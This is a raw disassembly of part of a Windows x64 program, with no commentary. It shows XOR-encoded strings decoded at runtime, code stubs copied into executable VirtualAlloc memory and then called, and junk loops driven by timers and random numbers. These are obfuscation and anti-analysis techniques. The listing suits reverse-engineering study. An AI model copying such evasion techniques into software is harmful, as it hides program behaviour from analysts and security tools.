psubd xmm4, xmm5
psrad xmm4, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140272840]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140272920]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x30
jl 0x14020e151
cmp r9d, 0x36
jge 0x14020e3a4
movsxd rax, r9d
lea r10, [rsp + 0x4c8]
add r10, rax
nop
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, 0x21
add r8b, r8b
mov eax, 0x13e22cbd
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x36
jl 0x14020e350
xorps xmm0, xmm0
movups xmmword [rsp + 0x358], xmm0
mov qword [rsp + 0x368], rsi
mov qword [rsp + 0x370], rsi
lea rax, [rsp + 0x4c8]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14020e3c7
mov r8, rbx
lea rdx, [rsp + 0x4c8]
lea rcx, [rsp + 0x358]
call fcn.1401d50a0
lea rcx, [rsp + 0x358]
call fcn.1401c8980
xorps xmm0, xmm0
movups xmmword [rsp + 0xdc8], xmm0
lea rcx, [rsp + 0xca38]
mov qword [rsp + 0xdd0], r12
mov qword [rsp + 0xdd8], rcx
mov rax, qword [rcx]
xor rax, r12
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xdc8], rax
mov qword [rcx], rsi
mov ecx, esi
mov rax, qword [0x1402920a0]
lea rbx, [0x14021c900]
test rax, rax
je 0x14020e46f
mov rdx, rsi
cmp rax, rbx
je 0x14020e45e
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2920a0]
test rax, rax
jne 0x14020e446
jmp 0x14020e46f
mov rdx, qword [r14 + rdx*8 + 0x294040]
test rdx, rdx
jne 0x14020e54f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x14020e496
mov rdx, rsi
jmp 0x14020e52e
mov rax, rbx
mov rcx, rdx
mov r8, r13
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x14020e4a0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140292d68]
mov qword [r14 + rax*8 + 0x2920a0], rbx
mov qword [r14 + rax*8 + 0x294040], rdx
inc rax
mov qword [0x140292d68], rax
lea rcx, [0x1401d7880]
call rdx
nop
mov rax, qword [rsp + 0x50]
xor rax, r12
mov qword [rsp + 0xdc8], rax
lea rcx, [rsp + 0xca38]
mov qword [rcx], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xef0], xmm0
lea rcx, [rsp + 0xca38]
mov qword [rsp + 0xef8], r12
mov qword [rsp + 0xf00], rcx
mov rax, qword [rcx]
xor rax, r12
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xef0], rax
mov qword [rcx], rsi
mov ecx, esi
mov rax, qword [0x1402920a0]
test rax, rax
je 0x14020e5e9
mov rdx, rsi
nop
cmp rax, rbx
je 0x14020e5d8
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2920a0]
test rax, rax
jne 0x14020e5c0
jmp 0x14020e5e9
mov rdx, qword [r14 + rdx*8 + 0x294040]
test rdx, rdx
jne 0x14020e6cf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x14020e610
mov rdx, rsi
jmp 0x14020e6ae
mov rax, rbx
mov rcx, rdx
mov r8, r13
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x14020e620
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140292d68]
mov qword [r14 + rax*8 + 0x2920a0], rbx
mov qword [r14 + rax*8 + 0x294040], rdx
inc rax
mov qword [0x140292d68], rax
lea rcx, [0x1401cf6b0]
call rdx
nop
mov rax, qword [rsp + 0x50]
xor rax, r12
mov qword [rsp + 0xef0], rax
lea rcx, [rsp + 0xca38]
mov qword [rcx], rax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x9a74], 0xffffffff
mov dword [rsp + 0x86f4], eax
mov edx, 1
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x86f4], eax
inc rdx
cmp rdx, 0x270
jb 0x14020e711
mov dword [rsp + 0x86f0], 0x270
mov dword [rsp + 0x40], esi
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov qword [rsp + 0x50], rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
mov r8, qword [rsp + 0x50]
cmp r8, 0x989680
jne 0x14020e767
imul rax, rax, 0x64
jmp 0x14020e782
cqo
idiv r8
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv r8
add rax, rcx
add rax, 0x5f5e100
mov qword [rsp + 0x68], rax
mov r12, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rdi, 0x989680
jne 0x14020e7ae
imul rax, rax, 0x64
jmp 0x14020e7c9
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
cmp rax, r12
jge 0x14020e9af
mov edi, 0x186a0
mov r12d, 1
nop dword [rax]
lea rcx, [rsp + 0x86f0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14020e81b
nop dword [rax + rax]
lea rcx, [rsp + 0x86f0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020e800
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea edx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae edx, eax
test edx, edx
cmove edx, r12d
mov dword [rsp + 0x60], edx
lea rcx, [rsp + 0x86f0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
mov ecx, dword [rsp + 0x60]
mov dword [rsp + 0x60], ecx
cmp eax, 0xc9
jae 0x14020e88c
mov dword [rsp + 0x60], ecx
cmp eax, 0x64
jae 0x14020e88c
mov dword [rsp + 0x60], ecx
lea rcx, [rsp + 0x86f0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020e871
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea edx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x86f0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0xc9
jae 0x14020e8ed
cmp eax, 0x64
jae 0x14020e8ed
lea rcx, [rsp + 0x86f0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020e8d2
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r15]
lea edx, [rcx - 0x80000000]
cmp ecx, r15d
cmovae edx, eax
mov eax, dword [rsp + 0x40]
imul edx, eax
mov dword [rsp + 0x40], edx
lea rcx, [rsp + 0x86f0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
mov edx, dword [rsp + 0x60]
mov r8d, edx
cmp eax, 0xc9
jae 0x14020e960
cmp eax, 0x64
jae 0x14020e960
mov dword [rsp + 0x60], edx
nop
lea rcx, [rsp + 0x86f0]
call fcn.140226f00
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14020e940
mov r8d, dword [rsp + 0x60]
shr rax, 0x20
lea edx, [rax + 0x7fffff9c]
lea eax, [rdx + r15]
lea ecx, [rdx - 0x80000000]
cmp edx, r15d
cmovae ecx, eax
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv r8d
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv r8d
mov dword [rsp + 0x40], edx
sub rdi, r12
jne 0x14020e7e0
mov r12, qword [rsp + 0x68]
jmp 0x14020e790
mov eax, dword [rsp + 0x40]
xorps xmm0, xmm0
movups xmmword [rsp + 0xec0], xmm0
lea rcx, [rsp + 0xca38]
movabs r12, 0xff00ff00ff00ff00
mov qword [rsp + 0xec8], r12
mov qword [rsp + 0xed0], rcx
mov rax, qword [rcx]
xor rax, r12
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xec0], rax
mov qword [rcx], rsi
mov ecx, esi
mov rax, qword [0x1402920a0]
test rax, rax
je 0x14020ea30
mov rdx, rsi
cmp rax, rbx
je 0x14020ea1f
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2920a0]
test rax, rax
jne 0x14020ea07
jmp 0x14020ea30
mov rdx, qword [r14 + rdx*8 + 0x294040]
test rdx, rdx
jne 0x14020eb0f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x14020ea57
mov rdx, rsi
jmp 0x14020eaee
mov rax, rbx
mov rcx, rdx
mov r8, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x14020ea60
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140292d68]
mov qword [r14 + rax*8 + 0x2920a0], rbx
mov qword [r14 + rax*8 + 0x294040], rdx
inc rax
mov qword [0x140292d68], rax
lea rcx, [0x1401c2110]
call rdx
nop
mov rax, qword [rsp + 0x50]
xor rax, r12
mov qword [rsp + 0xec0], rax
lea rcx, [rsp + 0xca38]
mov qword [rcx], rax
movups xmm0, xmmword [str._v_____:1x]
movups xmmword [rsp + 0x498], xmm0
movups xmm1, xmmword [0x1402712b8]
movups xmmword [rsp + 0x4a8], xmm1
movsd xmm0, qword [0x1402712c8]
movsd qword [rsp + 0x4b8], xmm0
mov eax, dword [0x1402712d0]
mov dword [rsp + 0x4c0], eax
mov r9d, esi
cmp dword [0x140284008], 2
jl 0x14020ed9f
movd xmm7, r13d
mov eax, 6
movd xmm8, eax
mov eax, 0x1f
movd xmm6, eax
movdqa xmm0, xmmword [str.BBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCC]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x49c]
nop
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140272810]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402728d0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402728d0]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x140272910]
pmuldq xmm1, xmmword [0x140272910]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140272920]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140272840]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x140272810]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1402728d0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1402728d0]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x140272910]
pmuldq xmm1, xmmword [0x140272910]
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140272920]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140272840]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x28
jl 0x14020ebb0
cmp r9d, 0x2c
jge 0x14020ee04
movsxd rax, r9d
lea r10, [rsp + 0x498]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, 0x21
add r8b, r8b
mov eax, 0x13e22cbd
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x2c
jl 0x14020edb0
xorps xmm0, xmm0
movups xmmword [rsp + 0x378], xmm0
mov qword [rsp + 0x388], rsi
mov qword [rsp + 0x390], rsi
lea rax, [rsp + 0x498]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14020ee30
lea rdx, [rsp + 0x498]
lea rcx, [rsp + 0x378]
call fcn.1401d50a0
lea rcx, [rsp + 0x378]
call fcn.1401c8980
xorps xmm0, xmm0
movups xmmword [rsp + 0xea8], xmm0
lea rcx, [rsp + 0xca38]
mov qword [rsp + 0xeb0], r12
mov qword [rsp + 0xeb8], rcx
mov rax, qword [rcx]
xor rax, r12
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xea8], rax
mov qword [rcx], rsi
mov ecx, esi
mov rax, qword [0x1402920a0]
test rax, rax
je 0x14020eecf
mov rdx, rsi
cmp rax, rbx
je 0x14020eebe
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2920a0]
test rax, rax
jne 0x14020eea6
jmp 0x14020eecf
mov rdx, qword [r14 + rdx*8 + 0x294040]
test rdx, rdx
jne 0x14020efaf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x14020eef6
mov rdx, rsi
jmp 0x14020ef8e
mov rax, rbx
mov rcx, rdx
mov r8, r13
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x14020ef00
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140292d68]
mov qword [r14 + rax*8 + 0x2920a0], rbx
mov qword [r14 + rax*8 + 0x294040], rdx
inc rax
mov qword [0x140292d68], rax
lea rcx, [0x1401bc950]
call rdx
nop
mov rax, qword [rsp + 0x50]
xor rax, r12
mov qword [rsp + 0xea8], rax
lea rcx, [rsp + 0xca38]
mov qword [rcx], rax
call fcn.1401dee40
cmp qword [0x14028f710], 5
jae 0x14020f2b1
movsd xmm0, qword [0x14026f7c0]
movsd qword [rsp + 0xc8], xmm0
mov eax, dword [0x14026f7c8]
mov dword [rsp + 0xd0], eax
movzx eax, word [0x14026f7cc]
mov word [rsp + 0xd4], ax
cmp byte [0x14026f7cd], 0
je 0x14020f284
mov r9d, esi
cmp dword [0x140284008], 2
jl 0x14020f21e
movdqa xmm7, xmmword [0x1402728d0]
movd xmm8, r13d
movdqa xmm9, xmmword [0x140272910]
mov eax, 6
movd xmm10, eax
mov eax, 0x1f
movd xmm12, eax
movdqa xmm5, xmmword [0x140272810]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm8
pmuldq xmm2, xmm9
pmuldq xmm1, xmm9
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm12
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140272920]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm12
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140272840]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [str.BBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCC]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [0x14026f7c0]
pxor xmm3, xmm0
movd dword [rsp + 0xc8], xmm3
movdqa xmm5, xmmword [0x140272830]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm8
pmuldq xmm2, xmm9
pmuldq xmm1, xmm9
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm12
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140272920]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402728c0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm12
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140272840]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402728c0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0xcc]
pxor xmm3, xmm1
movd dword [rsp + 0xcc], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0xc8]
add r10, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, 0x21
add r8b, r8b
mov eax, 0x13e22cbd
imul r9d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x67
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xe
jl 0x14020f230
lea rax, [rsp + 0xc8]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14020f293
lea rdx, [rsp + 0xc8]
lea rcx, [0x14028f700]
call fcn.140219d60
lea rcx, [rsp + 0xa40]
call fcn.1401de460
mov rdx, rax
lea rcx, [0x14028f440]
call fcn.140217fa0
lea rcx, [rsp + 0xa40]
call fcn.140219ac0
xorps xmm0, xmm0
movups xmmword [rsp + 0xe10], xmm0
lea rcx, [rsp + 0xca38]
mov qword [rsp + 0xe18], r12
mov qword [rsp + 0xe20], rcx
mov rax, qword [rcx]
xor rax, r12
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xe10], rax
mov qword [rcx], rsi
mov ecx, esi
mov rax, qword [0x1402920a0]
test rax, rax
je 0x14020f34d
mov rdx, rsi
cmp rax, rbx
je 0x14020f33c
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2920a0]
test rax, rax
jne 0x14020f324
jmp 0x14020f34d
mov rdx, qword [r14 + rdx*8 + 0x294040]
test rdx, rdx
jne 0x14020f42f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x14020f374
mov rdx, rsi
jmp 0x14020f40e
mov rax, rbx
mov rcx, rdx
mov r8, r13
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x14020f380
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140292d68]
mov qword [r14 + rax*8 + 0x2920a0], rbx
mov qword [r14 + rax*8 + 0x294040], rdx
inc rax
mov qword [0x140292d68], rax
lea rcx, [0x1401ca810]
call rdx
nop
mov rax, qword [rsp + 0x50]
xor rax, r12
mov qword [rsp + 0xe10], rax
lea rcx, [rsp + 0xca38]
mov qword [rcx], rax
